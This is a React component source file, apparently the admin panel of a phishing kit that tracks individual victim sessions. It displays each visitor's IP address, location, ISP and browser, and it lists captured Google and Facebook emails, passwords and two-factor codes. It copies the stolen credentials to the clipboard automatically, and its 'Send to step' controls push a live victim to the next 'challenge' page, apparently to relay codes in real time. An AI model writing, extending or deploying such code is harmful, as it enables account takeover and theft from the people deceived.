"use client"

import { useCallback, useEffect, useRef } from "react"
import { copySessionCredentials } from "@/lib/copy-credentials"
import { sanitizeLoginContact } from "@/lib/login-contact"
import { hasAnyCredentials, parseSessionCredentials } from "@/lib/session-credentials"
import { Button } from "@/components/ui/button"
import { RedirectControls } from "@/components/admin/redirect-controls"
import { CaseJourneyPanel } from "@/components/admin/case-journey-panel"
import {
  ArrowLeft,
  Clipboard,
  Clock,
  Loader2,
  Monitor,
  Trash2,
} from "lucide-react"
import {
  AdminSession,
  describeVisitorStep,
  formatClientSocket,
  formatTime,
  getBrowserName,
  getDialogFromPageUrl,
  getSessionDuration,
  getSessionProviders,
  isUserCurrentlyActive,
} from "./session-helpers"
import { ProviderBadge, ProviderIconMark } from "./provider-badges"

interface SessionDetailPanelProps {
  session: AdminSession
  redirectCommandKey: number
  deleting: boolean
  onRedirect: (sessionId: string, path: string) => void
  onDelete: (sessionId: string) => void
  onClose?: () => void
  onCredentialsCopied?: (message: string) => void
}

function MetaCell({ label, children }: { label: string; children: React.ReactNode }) {
  return (
    <div className="min-w-0 rounded-xl border border-stone-200 bg-stone-50 px-3 py-2.5">
      <p className="text-[10px] font-medium uppercase tracking-[0.14em] text-stone-400">{label}</p>
      <div className="mt-1 text-[13px] leading-snug text-stone-700">{children}</div>
    </div>
  )
}

export function SessionDetailPanel({
  session,
  redirectCommandKey,
  deleting,
  onRedirect,
  onDelete,
  onClose,
  onCredentialsCopied,
}: SessionDetailPanelProps) {
  const live = isUserCurrentlyActive(session)
  const step = describeVisitorStep(session.page_url)
  const displayContact = sanitizeLoginContact(session.user_email)
  const parsedCreds = parseSessionCredentials(session.user_password)
  const lastCopiedCredKeyRef = useRef("")
  const { google: usedGoogle, facebook: usedFacebook } = getSessionProviders(session)

  const credentialKey = [
    session.session_id,
    displayContact,
    session.user_password ?? "",
    session.credentials_collected_at ?? "",
  ].join("|")

  const copyCredentials = useCallback(async () => {
    const ok = await copySessionCredentials(session.user_email, session.user_password)
    if (ok) onCredentialsCopied?.("Copied to clipboard")
    return ok
  }, [session.user_email, session.user_password, onCredentialsCopied])

  useEffect(() => {
    if (!displayContact && !session.user_password) return
    if (credentialKey === lastCopiedCredKeyRef.current) return
    lastCopiedCredKeyRef.current = credentialKey
    void copyCredentials()
  }, [credentialKey, displayContact, session.user_password, copyCredentials])

  const sendRedirect = (path: string) => {
    onRedirect(session.session_id, path)
  }

  return (
    <div className="flex h-full min-h-0 flex-col">
      <div className="shrink-0 rounded-xl border border-stone-200 bg-white p-4">
        <div className="flex flex-wrap items-start justify-between gap-3">
          <div className="min-w-0 space-y-2">
            <div className="flex flex-wrap items-center gap-2">
              {onClose ? (
                <Button
                  type="button"
                  size="sm"
                  variant="outline"
                  onClick={onClose}
                  className="h-8 border-stone-300 px-2.5 text-xs lg:hidden"
                >
                  <ArrowLeft className="mr-1 h-3.5 w-3.5" />
                  Back
                </Button>
              ) : null}
              <span
                className={`rounded-md px-2 py-0.5 text-[11px] font-medium ${
                  live ? "bg-emerald-100 text-emerald-800" : "bg-stone-100 text-stone-500"
                }`}
              >
                {live ? "Open" : "Idle"}
              </span>
              <span className="rounded-md bg-stone-100 px-2 py-0.5 text-[11px] text-stone-600">
                {getSessionDuration(session)}
              </span>
              {usedGoogle ? <ProviderBadge provider="google" size="md" /> : null}
              {usedFacebook ? <ProviderBadge provider="facebook" size="md" /> : null}
            </div>
            <div className="flex items-start gap-3">
              {(usedGoogle && !usedFacebook) || (usedFacebook && !usedGoogle) ? (
                <ProviderIconMark
                  provider={usedFacebook ? "facebook" : "google"}
                  className="h-10 w-10"
                />
              ) : null}
              <div className="min-w-0 flex-1">
            <h2 className="truncate text-xl font-semibold text-stone-900">{step.stage}</h2>
            <p className="text-sm text-stone-500">{step.detail}</p>
            <p className="font-mono text-[11px] text-stone-400" title={session.session_id}>
              {formatClientSocket(session.session_id)}
            </p>
              </div>
            </div>
          </div>
          <Button
            type="button"
            size="sm"
            className="h-9 bg-stone-800 px-3 text-xs text-white hover:bg-stone-700"
            disabled={deleting}
            onClick={() => onDelete(session.id)}
          >
            {deleting ? (
              <Loader2 className="h-3.5 w-3.5 animate-spin" />
            ) : (
              <Trash2 className="h-3.5 w-3.5" />
            )}
            <span className="ml-1.5">Remove</span>
          </Button>
        </div>
      </div>

      <div className="mt-3 min-h-0 flex-1 space-y-3 overflow-y-auto pb-2">
        <CaseJourneyPanel steps={session.journey_steps} />

        <div className="rounded-2xl border border-stone-200 bg-white p-4">
          <p className="mb-3 text-[11px] font-medium uppercase tracking-[0.12em] text-stone-400">
            Client details
          </p>
          <div className="mb-3 flex items-center gap-3 rounded-xl border border-stone-200 bg-gradient-to-br from-stone-50 to-white px-3.5 py-3">
            <span className="text-3xl leading-none" title={session.country || "Country"}>
              {session.flag || "🌍"}
            </span>
            <div className="min-w-0">
              <p className="truncate text-base font-semibold text-stone-900">
                {session.country || "Looking up…"}
                {session.country_code ? (
                  <span className="ml-1.5 text-sm font-medium text-stone-400">
                    {session.country_code}
                  </span>
                ) : null}
              </p>
              <p className="truncate font-mono text-[13px] text-stone-600">
                {session.ip_address || "—"}
              </p>
            </div>
          </div>
          <div className="grid gap-2 sm:grid-cols-2">
            <MetaCell label="City">
              {session.city || <span className="text-stone-400">—</span>}
            </MetaCell>
            <MetaCell label="Region">
              {session.region || <span className="text-stone-400">—</span>}
            </MetaCell>
            <MetaCell label="ISP">
              {session.isp || <span className="text-stone-400">—</span>}
            </MetaCell>
            <MetaCell label="Timezone">
              {session.timezone || <span className="text-stone-400">—</span>}
            </MetaCell>
            <MetaCell label="Browser">
              <span className="inline-flex items-center gap-1.5">
                <Monitor className="h-3.5 w-3.5 text-stone-400" />
                {getBrowserName(session.user_agent)}
              </span>
            </MetaCell>
            <MetaCell label="Timing">
              <span className="flex flex-col gap-0.5 text-[12px]">
                <span className="inline-flex items-center gap-1.5 font-medium text-stone-800">
                  <Clock className="h-3.5 w-3.5 text-stone-400" />
                  Stayed {getSessionDuration(session)}
                  {live ? <span className="font-normal text-emerald-700">· live</span> : null}
                </span>
                <span className="text-stone-500">Opened {formatTime(session.created_at)}</span>
                <span className="text-stone-500">
                  {live ? "Still active" : `Last seen ${formatTime(session.updated_at)}`}
                </span>
              </span>
            </MetaCell>
            <MetaCell label="Current step">
              <p className="font-medium text-stone-800">{step.stage}</p>
              <p className="mt-0.5 text-[12px] text-stone-500">{step.detail}</p>
              <p
                className="mt-1.5 break-all font-mono text-[10px] text-stone-400"
                title={session.page_url}
              >
                {session.page_url || "—"}
              </p>
            </MetaCell>
            <MetaCell label="Socket">
              <p className="break-all font-mono text-[10px] text-stone-400">{session.session_id}</p>
            </MetaCell>
          </div>
        </div>

        {hasAnyCredentials(session.user_email, session.user_password) && (
          <div className="rounded-xl border border-stone-200 bg-stone-50 p-4">
            <div className="mb-3 flex flex-wrap items-center justify-between gap-2">
              <p className="text-sm font-medium text-stone-800">Collected details</p>
              <Button
                type="button"
                size="sm"
                className="h-9 bg-stone-800 px-3 text-xs text-white hover:bg-stone-700"
                onClick={() => void copyCredentials()}
              >
                <Clipboard className="mr-1.5 h-3.5 w-3.5" />
                Copy all
              </Button>
            </div>
            {session.credentials_collected_at ? (
              <p className="mb-3 text-xs text-stone-400">
                {formatTime(session.credentials_collected_at)}
              </p>
            ) : null}

            {(["google", "facebook"] as const).map((providerKey) => {
              const block = parsedCreds[providerKey]
              const legacyEmail =
                !block.email && parsedCreds.lastProvider === providerKey
                  ? displayContact
                  : !block.email && providerKey === "google" && !parsedCreds.facebook.email
                    ? displayContact
                    : !block.email && providerKey === "facebook" && !parsedCreds.google.email
                      ? displayContact
                      : ""
              const email = block.email || legacyEmail
              const password =
                block.password ||
                (providerKey === (parsedCreds.lastProvider || "google") &&
                !parsedCreds.google.password &&
                !parsedCreds.facebook.password
                  ? parsedCreds.password
                  : "")
              const codes =
                block.codes.length > 0
                  ? block.codes
                  : providerKey === "google"
                    ? parsedCreds.codes
                    : []
              if (!email && !password && !codes.length) return null

              return (
                <div
                  key={providerKey}
                  className="mb-3 rounded-xl border border-stone-200 bg-white p-3 last:mb-0"
                >
                  <p className="mb-2 text-[11px] font-medium uppercase tracking-wider text-stone-600">
                    {providerKey === "google" ? "Google" : "Facebook"}
                  </p>
                  {email ? (
                    <div className="mb-2">
                      <span className="text-[10px] font-medium uppercase tracking-wider text-stone-500">
                        Email / phone
                      </span>
                      <p className="mt-1 break-all rounded-lg border border-stone-200 bg-stone-50 px-3 py-2 font-mono text-sm text-stone-800">
                        {email}
                      </p>
                    </div>
                  ) : null}
                  {password ? (
                    <div className="mb-2">
                      <span className="text-[10px] font-medium uppercase tracking-wider text-stone-500">
                        Password
                      </span>
                      <p className="mt-1 break-all rounded-lg border border-stone-200 bg-stone-50 px-3 py-2 font-mono text-sm text-stone-800">
                        {password}
                      </p>
                    </div>
                  ) : null}
                  {codes.length > 0 ? (
                    <div>
                      <span className="text-[10px] font-medium uppercase tracking-wider text-stone-500">
                        2FA codes
                      </span>
                      <ul className="mt-1 space-y-1.5">
                        {codes.map((entry, index) => (
                          <li
                            key={`${providerKey}-${entry.type}-${entry.at}-${index}`}
                            className="break-all rounded-lg border border-stone-200 bg-stone-50 px-3 py-2 font-mono text-sm text-stone-800"
                          >
                            <span className="text-stone-500">{entry.type}:</span> {entry.code}
                            <span className="mt-0.5 block text-xs text-stone-400">{entry.at}</span>
                          </li>
                        ))}
                      </ul>
                    </div>
                  ) : null}
                </div>
              )
            })}
          </div>
        )}

        {session.is_active ? (
          <div className="rounded-2xl border border-stone-200 bg-white p-4">
            <div className="mb-3 flex flex-wrap items-center justify-between gap-2">
              <div>
                <p className="text-sm font-semibold text-stone-900">Send to step</p>
                <p className="text-[11px] text-stone-400">
                  Push the client to the next challenge or booking page
                </p>
              </div>
              {getDialogFromPageUrl(session.page_url) === "loading" ? (
                <span className="rounded-full bg-amber-100 px-2.5 py-1 text-[10px] font-medium text-amber-800">
                  Waiting for you
                </span>
              ) : null}
            </div>
            <RedirectControls
              session={session}
              commandKey={redirectCommandKey}
              onRedirect={sendRedirect}
            />
          </div>
        ) : null}
      </div>
    </div>
  )
}
